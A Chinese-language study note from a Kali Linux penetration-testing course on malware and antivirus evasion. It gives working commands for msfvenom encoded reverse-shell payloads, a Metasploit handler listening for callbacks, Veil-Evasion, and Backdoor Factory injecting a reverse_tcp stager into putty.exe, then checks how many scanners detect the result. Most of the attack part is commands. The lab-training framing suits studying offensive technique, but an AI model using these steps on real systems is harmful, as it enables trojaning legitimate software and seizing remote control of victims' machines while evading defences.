笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程
在用户非自愿情况下执行安装,具有控制、窃取、勒索、攻击等恶意功能的软件,基本分类如下:
随着技术发展其分类边界愈加模糊,恶意软件常具备以上多种特点。常见RAT软件包括:灰鸽子、波尔、黑暗彗星、潘多拉、NanoCore等。
恶意软件最主要的防护手段包括杀毒/防毒软件、防火墙、IPS、IDS等产品,这些产品都具有AV(Anti-Virus)功能,其检测原理大致分为两类:
攻击者可以通过转换恶意软件的方法绕过安全防护机制,基本方法如下:
注意:由于AV不仅检查恶意软件本身的特征字符,还会检查加密工具的特征字符,所以恶意软件在经过一些 知名加密工具 加密后,可能导致被AV检测出的可能性会更大。编写私有恶意软件,或使用独有加密工具可以实现更好的免杀功能。
单一AV厂商的病毒库很难达到100%全覆盖,一些网站集成多种AV检测引擎,提供更好的病毒检测功能,甚至某些AV软件没有自己的病毒库,直接调用这些网站提供的接口:
基于Metasploit的木马脚本生成工具,基本使用方法如下:
# 首先生成木马脚本
msfvenom --platform linux -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.11.129 LPORT=4444 -b "0" -e x86/shikata -i 9 -f elf -o file.bin
# -p:选择payload
# -e:编码方式
# -b:去掉坏字符
# -i:迭代编码次数
# -f:生成文件格式
# -o:生成文件名称
# LHOST、LPORT:payload运行后要回连的主机和端口,也是本机要侦听的端口
# 然后运行msfconsole,在本机开启侦听端口
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 10.10.11.129
set LPORT 4444
run
# 最后上传木马脚本并在靶机运行,取得回连shell,获取控制权
可以在已有模板插入恶意代码,不破坏原程序的功能和使用,每次运行都被重新激活运行:
msfvenom -a x64 --platform windows -p windows/shell/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -b "\x00" -f exe -o 1.exe
# -x和-k参数一般同时使用
# -x:表示与现有软件绑定在一起
# -k:表示在现有程序基础上另开一个线程运行,这样才不会覆盖原程序
注意:类似Msfvenom这种知名木马脚本生成工具,其处理文件的特征字符串已被绝大多数AV软件收录,所以查杀率很高,实际应用中免杀效果并不理想。
属于Veil-framework框架的一部分,由Python语言编写,用于将已有payload做加密、编码等变换,从而实现免杀,具有以下特点:
通过veil-evasion
命令运行,根据菜单向导配置payload,然后generate
生成payload,如下图所示:
图1 Veil-Evasion运行界面
默认生成的payload保存在/var/lib/veil-evasion/output/compiled/
目录下,配合其使用的服务端命令以rc脚本文件的形式保存在/var/lib/veil-evasion/output/handlers/
目录中,用于结合Metasploit使用,可以通过msfconsole -r payload.rc
命令调用脚本文件。
由python语言开发的后门工具,适用于制作或绑定Windows PE和Linux ELF木马脚本文件。BDF可将shellcode代码patch进模板程序,躲避AV查杀,可以不破坏模板程序的功能和使用,每次运行文件shellcode都被重新激活运行,类似Metasploit,但存在一定区别如下:
注意:存在一定概率文件会被patch坏掉,某些受保护的二进制程序也无法进行patch。
模板文件以putty.exe为例,注意这里有个坑,用在kali中用apt install
下载的backdoor-factory不能识别可执行文件,提示putty.exe not a PE File
,我们需要在GitHub自行下载,并安装capstone
包:
git clone https://github.com/secretsquirrel/the-backdoor-factory.git
cd the-backdoor-factory
./install.py
pip3 install capstone
./backdoor.py -f ~/Desktop/putty.exe -S
# 检查putty.exe是否支持代码注入
./backdoor.py -f ~/Desktop/putty.exe -s show
# 显示可插入putty.exe的payload
./backdoor.py -f ~/Desktop/putty.exe -c
# 查看putty.exe的代码缝隙
将payload作为整个section添加到文件末尾成功率高,但是免杀效果差;将payload划分为多个section添加到文件代码缝隙中成功率低,但是免杀效果好。
./backdoor.py -f ~/Desktop/putty.exe -s reverse_tcp_stager_threaded -H 10.10.11.129 -P 4444
# 默认命令将payload作为整个section插入到文件一个代码缝隙中
./backdoor.py -f ~/Desktop/putty.exe -s reverse_tcp_stager_threaded -H 10.10.11.129 -P 4444 -J
# -J:将payload划分为多个section添加到文件代码缝隙中
./backdoor.py -f ~/Desktop/putty.exe -s reverse_tcp_stager_threaded -H 10.10.11.129 -P 4444 -a
# -a:将payload作为整个section添加到文件末尾
payload插入后将putty.exe保存在backdoored
目录下,将其上传至目标靶机,结合Metasploit使用:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
# 注意payload要选择x64平台meterpreter,否则可能运行失败
set LHOST 10.10.11.129
set LPORT 4444
run -j
最后在靶机中运行putty.exe,取得shell控制权。将运用-a
参数生成的putty.exe传到VirSCAN检测,效果还是可以的,检测结果如下图所示:
图2 VirSCAN检测结果